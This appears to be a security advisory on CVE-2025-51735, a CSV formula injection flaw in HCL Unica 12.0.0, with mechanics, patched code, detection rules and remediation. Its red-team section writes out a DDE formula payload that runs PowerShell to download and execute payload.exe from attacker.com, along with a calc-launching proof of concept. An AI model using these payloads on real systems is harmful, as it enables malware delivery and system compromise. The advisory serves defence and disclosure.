CVE-2025-51735

Executive Summary

CVE-2025-51735 is a CSV Formula Injection vulnerability affecting HCL Technologies Ltd. Unica version 12.0.0. This vulnerability allows an attacker to inject malicious formulas into exported CSV files. When a user opens the crafted CSV file in a spreadsheet application (e.g., Microsoft Excel, LibreOffice Calc), the injected formulas can execute arbitrary commands, exfiltrate data, or perform other malicious actions on the user's machine. The vulnerability is classified under CWE-1236 (Improper Neutralization of Formula Elements in a CSV File). The CVSS score is 0.0 due to incomplete scoring data, but the actual risk is high given the potential for remote code execution via social engineering. No public proof-of-concept (PoC) or exploit code is available at this time. No official patch has been released by HCL Technologies.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary enterprise application vulnerability. The supply chain risk is limited to the direct use of HCL Unica software.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 0.0 (Incomplete scoring data; actual risk is high)
• Attack Vector (AV): Network (N) – The attack is initiated over a network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must open the CSV file.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Potential for data exfiltration.
• Integrity (I): High (H) – Potential for command execution.
• Availability (A): High (H) – Potential for system compromise.

Threat Level: High. The vulnerability is easy to exploit (low complexity, no privileges) but requires user interaction. Successful exploitation can lead to full system compromise.

Deep Dive & Mechanics

CSV Formula Injection, also known as CSV Injection, occurs when an application does not properly sanitize user input that is later exported to a CSV file. Spreadsheet applications like Microsoft Excel and LibreOffice Calc interpret cells starting with certain characters (e.g., =, +, -, @) as formulas. An attacker can inject a payload such as =CMD|' /C calc'!A0 into a field that will be exported to CSV. When the victim opens the CSV file, the spreadsheet application executes the formula, potentially running arbitrary commands.

In the context of HCL Unica 12.0.0, the vulnerability likely exists in a feature that exports data (e.g., campaign reports, user lists) to CSV format. The application fails to escape or prefix special characters that could be interpreted as formulas. An attacker can inject a malicious payload into a data field (e.g., a campaign name, user input field) that is later exported. The payload is then written to the CSV file without sanitization.

Example Payload:

=CMD|' /C calc'!A0

When opened in Excel, this would execute the Windows Calculator (calc.exe) as a proof of concept. A real attacker would use a payload to download and execute malware or exfiltrate data.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The application directly writes user input to a CSV file without sanitization.

# Vulnerable Python example
def export_to_csv(data):
    with open('export.csv', 'w') as f:
        writer = csv.writer(f)
        for row in data:
            writer.writerow(row)  # No sanitization

Patched Code (Conceptual): The application prefixes cells starting with special characters with a single quote or space to prevent formula interpretation.

# Patched Python example
def sanitize_csv_value(value):
    if value and value[0] in ('=', '+', '-', '@', '\t', '\r'):
        value = "'" + value  # Prefix with single quote
    return value

def export_to_csv(data):
    with open('export.csv', 'w') as f:
        writer = csv.writer(f)
        for row in data:
            sanitized_row = [sanitize_csv_value(cell) for cell in row]
            writer.writerow(sanitized_row)

Note: No official patch has been released by HCL Technologies. The above is a general mitigation approach.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Access to HCL Unica 12.0.0 instance with ability to input data (e.g., create a campaign, add a user).
• Victim user who will open the exported CSV file.

Steps:

1. Identify an input field that is exported to CSV (e.g., campaign name, description, custom field).
2. Inject a malicious payload into the field. Example payload for Windows:

   =CMD|' /C powershell -Command "Invoke-WebRequest -Uri http://attacker.com/payload.exe -OutFile %TEMP%\payload.exe; Start-Process %TEMP%\payload.exe"'!A0
   

3. Trigger the export of the CSV file (e.g., download a report).
4. Send the CSV file to the victim via email or other means.
5. When the victim opens the file, the formula executes, downloading and running the attacker's payload.

Lab Setup:

• Install HCL Unica 12.0.0 in a controlled environment.
• Use a Windows VM with Microsoft Excel installed as the victim.
• Set up a simple HTTP server to serve the payload (e.g., python -m http.server 80).

Blue Team (Defensive)

Detection:

• Monitor for CSV files being downloaded from Unica.
• Use endpoint detection and response (EDR) to monitor for suspicious processes spawned by Excel (e.g., cmd.exe, powershell.exe).
• Implement email filtering to block CSV files from untrusted sources.

Prevention:

• Apply input validation and output encoding to all user-supplied data that is exported to CSV.
• Use a web application firewall (WAF) to block known CSV injection payloads.
• Educate users to open CSV files in a text editor first, or use a spreadsheet application with macros disabled.

Hunting:

• Search for CSV files containing cells starting with =, +, -, or @ in network shares or email attachments.
• Review Unica logs for unusual input patterns (e.g., fields containing =CMD or =HYPERLINK).

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available, but monitor for unknown executables)
• Network Indicators:
  • Outbound connections to unknown IPs/domains from Excel.exe or cmd.exe.
  • HTTP requests to attacker-controlled servers (e.g., http://attacker.com/payload.exe).
• Process Indicators:
  • Excel.exe spawning cmd.exe, powershell.exe, or wscript.exe.
  • Unusual child processes of Excel.exe.
• File Indicators:
  • CSV files containing cells starting with =, +, -, or @.
  • Temporary files created in %TEMP% by Excel (e.g., payload.exe).

Detection Engineering

YARA Rule

rule CVE_2025_51735_CSV_Injection {
    meta:
        description = "Detects CSV files with potential formula injection payloads targeting HCL Unica"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-51735"
    strings:
        $formula_start = /^[=+\-@]/
        $cmd_payload = "CMD|"
        $powershell_payload = "powershell"
        $wscript_payload = "wscript"
    condition:
        // File extension is .csv
        (extension == "csv") and
        // Contains a formula start character at the beginning of a line
        (#formula_start > 0) and
        // Contains a known malicious payload
        ($cmd_payload or $powershell_payload or $wscript_payload)
}

Sigma Rule

title: CSV Formula Injection via HCL Unica
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects CSV files with formula injection indicators
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-51735
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|endswith: '.csv'
        # Look for lines starting with =, +, -, @
        # This requires a file content rule, which is not natively supported in Sigma.
        # Use a custom field or event log that captures file content.
    condition: selection
falsepositives:
    - Legitimate CSV files with formulas (e.g., financial reports)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-51735 CSV Injection Payload in HTTP Request"; flow:to_server,established; content:"=CMD|"; http_client_body; nocase; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable CSV export functionality in HCL Unica 12.0.0 until a patch is available.
2. Implement input validation to reject or sanitize special characters (=, +, -, @) in user input fields that are exported to CSV.
3. Use a web application firewall (WAF) to block requests containing CSV injection payloads.

Long-term Fix:

• Apply the official patch from HCL Technologies when released.
• Upgrade to a patched version of Unica.
• Implement a Content Security Policy (CSP) for web applications to prevent data exfiltration.

User Education:

• Train users to open CSV files in a text editor (e.g., Notepad) before opening in Excel.
• Advise users to enable "Protected View" in Excel for files from external sources.
• Disable macros and DDE (Dynamic Data Exchange) in spreadsheet applications.

Valters IT